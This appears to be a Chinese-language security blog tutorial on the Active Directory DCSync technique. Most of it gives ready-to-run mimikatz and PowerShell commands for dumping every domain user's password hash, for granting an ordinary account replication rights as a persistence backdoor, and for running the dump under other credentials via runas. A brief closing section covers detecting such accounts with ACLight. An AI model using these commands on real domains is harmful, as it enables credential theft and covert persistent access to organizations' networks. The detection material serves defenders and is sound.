域渗透——DCSync

发布于 2025-01-29 03:21:30 字数 5949 浏览 6 评论 0

0x00 前言

DCSync 是域渗透中经常会用到的技术,本文会对开源的资料进行整理,结合自己的经验,总结利用和防御检测的方法

0x01 简介

本文将要介绍以下内容:

  • 利用 DCSync 导出域内所有用户 hash 的方法
  • 利用 DCSync 在域内维持权限的方法
  • 自动化检测 DCSync 后门的方法

0x02 利用 DCSync 导出域内所有用户 hash 的方法

DCSync 是 mimikatz 在 2015 年添加的一个功能,由 Benjamin DELPY gentilkiwi 和 Vincent LE TOUX 共同编写,能够用来导出域内所有用户的 hash

利用条件:

获得以下任一用户的权限:

  • Administrators 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户
  • 域控制器的计算机帐户

利用原理:

利用 DRS(Directory Replication Service) 协议通过 IDL_DRSGetNCChanges 从域控制器复制用户凭据

参考资料: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47

实现代码:

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c

利用方法:

1.使用 mimikatz

导出域内所有用户的 hash:

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内 administrator 帐户的 hash:

mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

2.powershell 实现

https://gist.github.com/monoxgas/9d238accd969550136db

通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能

导出域内所有用户的 hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

导出域内 administrator 帐户的 hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

0x03 利用 DCSync 在域内维持权限的方法

利用条件:

获得以下任一用户的权限:

  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户

利用原理:

向域内的一个普通用户添加如下三条 ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用 DCSync 导出域内所有用户 hash 的权限

实现代码:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

利用方法:

添加 ACE 的命令如下:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

补充:

删除 ACE 的命令:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

使用域用户 test1 调用 DCSync 的方法如下:

1.在域内一台登录了 test1 用户的主机上面,直接使用 mimikatz 的 DCSync 功能

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

2.使用 runas 实现登录 test1 用户,再使用 DCSync

(1) 弹出 cmd

echo 123456789 | runas /noprofile /user:test\test1 cmd

弹出的 cmd 下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2) 不弹框实现

echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat

1.bat 的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:同类的工具还有 lsrunas、lsrunase 和 CPAU

3.使用 powershell 实现登录 test1 用户,再使用 DCSync

(1) 弹出 cmd

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "cmd.exe" -Credential $cred

弹出的 cmd 下执行如下命令:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2) 不弹框实现

$uname="test\test1"                                                      
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force                   
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)        
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

1.bat 的内容如下:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:使用 wmic 在本机实现登录用户 test1 会失败,错误如下:

ERROR:
Description = User credentials cannot be used for local connections

0x04 自动化检测 DCSync 后门的方法

具有高权限但不在高权限组的用户被称之为 Shadow Admin,例如 0x03 中的域用户 test1,仅通过查询高权限组的成员无法发现域内的 Shadow Admin

检测原理:枚举 Active Directory 中所有用户的 ACL,标记出特权帐户

实现代码:https://github.com/cyberark/ACLight

利用条件:

  • Powershell v3.0
  • 域内普通用户权限

检测方法:

执行项目中的 Execute-ACLight2.bat

生成三个文件:

  • Privileged Accounts - Layers Analysis.txt
  • Privileged Accounts Permissions - Final Report.csv
  • Privileged Accounts Permissions - Irregular Accounts.csv

文件中会显示出所有特权帐户

经测试,ACLight 能够检测出被添加 DCSync 权限的用户 test1

0x05 小结

本文介绍了域渗透中 DCSync 的利用和自动化检测的方法,站在防御的角度,建议使用 ACLight 对域环境的用户 ACL 进行检测。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

小女人ら

暂无简介

文章
评论
27 人气
更多

推荐作者

李珊平

文章 0 评论 0

Quxin

文章 0 评论 0

范无咎

文章 0 评论 0

github_ZOJ2N8YxBm

文章 0 评论 0

若言

文章 0 评论 0

南…巷孤猫

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文